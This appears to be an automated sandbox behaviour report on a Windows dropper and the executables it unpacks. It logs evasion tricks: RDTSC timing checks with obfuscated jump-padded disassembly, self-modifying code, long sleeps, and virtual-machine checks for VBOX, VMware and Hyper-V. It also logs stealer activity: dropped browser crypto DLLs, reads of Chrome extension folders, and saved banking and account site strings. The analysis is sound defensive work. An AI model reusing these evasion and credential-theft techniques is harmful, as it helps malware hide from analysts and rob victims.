Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08BE second address: 4CA09A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7C2525D0D2h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 movsx ebx, cx 0x00000014 jmp 00007F7C2525D0CAh 0x00000019 popad 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c mov ebx, esi 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F7C2525D0D8h 0x00000025 sbb ch, FFFFFF98h 0x00000028 jmp 00007F7C2525D0CBh 0x0000002d popfd 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 popad 0x00000032 mov esi, dword ptr [ebp+08h] 0x00000035 pushad 0x00000036 movzx esi, dx 0x00000039 mov dl, FAh 0x0000003b popad 0x0000003c sub ebx, ebx 0x0000003e jmp 00007F7C2525D0CFh 0x00000043 test esi, esi 0x00000045 jmp 00007F7C2525D0D6h 0x0000004a je 00007F7C97962AF3h 0x00000050 jmp 00007F7C2525D0D0h 0x00000055 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000005c jmp 00007F7C2525D0D0h 0x00000061 mov ecx, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F7C2525D0D7h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA09A9 second address: 4CA09AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA09AF second address: 4CA09B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA09B3 second address: 4CA0A4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7C9797A3DEh 0x0000000e pushad 0x0000000f call 00007F7C252749FDh 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 mov ah, bh 0x00000019 popad 0x0000001a test byte ptr [77436968h], 00000002h 0x00000021 pushad 0x00000022 jmp 00007F7C25274A04h 0x00000027 jmp 00007F7C25274A02h 0x0000002c popad 0x0000002d jne 00007F7C9797A3A8h 0x00000033 jmp 00007F7C25274A00h 0x00000038 mov edx, dword ptr [ebp+0Ch] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F7C25274A08h 0x00000044 xor cx, 7C68h 0x00000049 jmp 00007F7C252749FBh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A4B second address: 4CA0A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A63 second address: 4CA0A89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7C25274A00h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A89 second address: 4CA0A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A8D second address: 4CA0A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A93 second address: 4CA0A99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A99 second address: 4CA0A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A9D second address: 4CA0AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ch, dh 0x0000000c popad 0x0000000d xchg eax, ebx 0x0000000e jmp 00007F7C2525D0D8h 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F7C2525D0D0h 0x00000019 push eax 0x0000001a pushad 0x0000001b mov ebx, 58217894h 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0AE3 second address: 4CA0AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0AE7 second address: 4CA0AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0AED second address: 4CA0B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F7C252749FDh 0x00000015 xor ax, 32B6h 0x0000001a jmp 00007F7C25274A01h 0x0000001f popfd 0x00000020 mov ch, 80h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C1F second address: 4CA0C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0E34 second address: 4CB0E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0E38 second address: 4CB0E50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0E50 second address: 4CB0E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D306B0 second address: 4D306C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0D4h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42C0BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7EC0BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 1020655 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 101ED59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: E7C302 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 10324A7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: E7EC60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 10A9BC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Special instruction interceptor: First address: A3DCE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Special instruction interceptor: First address: A3DBEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Special instruction interceptor: First address: BE721F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Special instruction interceptor: First address: BE585C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Special instruction interceptor: First address: A3DC17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Special instruction interceptor: First address: C72EBB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Special instruction interceptor: First address: EADD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Special instruction interceptor: First address: EADC93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Special instruction interceptor: First address: 10594E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 60CDCE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 60CDBEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 627721F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 627585C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 60CDC17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 6302EBB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 5EDDCE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 5EDDBEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 608721F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 608585C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 5EDDC17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Special instruction interceptor: First address: 6112EBB instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Memory allocated: 4DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Memory allocated: 4FF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Memory allocated: 4DF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Memory allocated: 4980000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Memory allocated: 4B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Memory allocated: 6B60000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04D20BF4 rdtsc

1_2_04D20BF4

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7832	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7832	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7840	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7840	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -9720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8020	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8020	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7836	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7836	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7804	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 4568	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 5944	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 5908	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 8028	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 2872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 1012	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 356	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 3412	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 5712	Thread sleep count: 147 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 5712	Thread sleep time: -882000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 2792	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 5632	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7932	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7940	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7908	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 6136	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7924	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7928	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7916	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7912	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 7380	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 5360	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 7392	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 6728	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 6728	Thread sleep time: -252000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe TID: 3172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7588	Thread sleep count: 148 > 30
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe TID: 7588	Thread sleep time: -888000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe TID: 8244	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe TID: 2308	Thread sleep time: -180000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Last function: Thread delayed
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmp, 06339d0580.exe, 00000010.00000002.3404020326.0000000006252000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3370528532.0000000001002000.00000040.00000001.01000000.0000000B.sdmp, 2bbe886987.exe, 00000011.00000002.3364403033.0000000000BC2000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3396099411.0000000006062000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3369146551.0000000001002000.00000040.00000001.01000000.0000000B.sdmp, 23e9bcc0a0.exe, 00000016.00000002.3150732032.0000000001039000.00000040.00000001.01000000.0000000E.sdmp, 2bbe886987.exe, 00000018.00000002.3361529894.0000000000BC2000.00000040.00000001.01000000.0000000C.sdmp, 23e9bcc0a0.exe, 00000024.00000002.3256552623.0000000001039000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, 0000000F.00000002.3372136479.0000000001077000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: Web Data.27.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.27.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.27.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.27.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 06339d0580.exe, 00000015.00000002.3362375793.0000000000B15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarey
Source: 06339d0580.exe, 00000010.00000002.3402806481.0000000005620000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareal
Source: Web Data.27.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 06339d0580.exe, 00000010.00000003.2929205064.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3362798636.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2982936325.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2862086154.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3362798636.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365003139.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3158360427.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2862086154.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.27.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__X
Source: Web Data.27.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 06339d0580.exe, 00000015.00000002.3391341167.00000000045C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__t\Windowsrsion\Internet Settings\PolicyExtensions8C-2DAB-11D2-B604-00104B703EFD}\InprocServer322A6676\00000003B88A00104B2A6676\00000003
